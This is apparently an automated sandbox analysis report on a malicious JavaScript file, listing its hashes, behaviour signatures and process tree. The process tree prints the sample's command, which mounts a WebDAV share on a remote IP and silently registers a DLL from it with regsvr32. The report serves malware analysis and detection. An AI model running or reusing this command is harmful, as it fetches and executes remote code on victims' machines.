Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 03:04

General

  • Target

    70912493641126109.js

  • Size

    3KB

  • MD5

    cf8c858452dd0d6c5651c57428c4a3bd

  • SHA1

    bf3cd91281d857a7d2f45df88cb9361b774e2974

  • SHA256

    64efbf26c04dc9a9c7357543498729c4b48d0c1d4e4bbde7332e1662de1e2f2f

  • SHA512

    11a86d448530fe1e568c0bc7cc38de5b65b463fa1d2fcec37af094b2b41fbef83d7312cb43a040ec06cd5c042c0953f53da5a29998232487647ca84237301248

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\70912493641126109.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\249261543718728.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3040

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads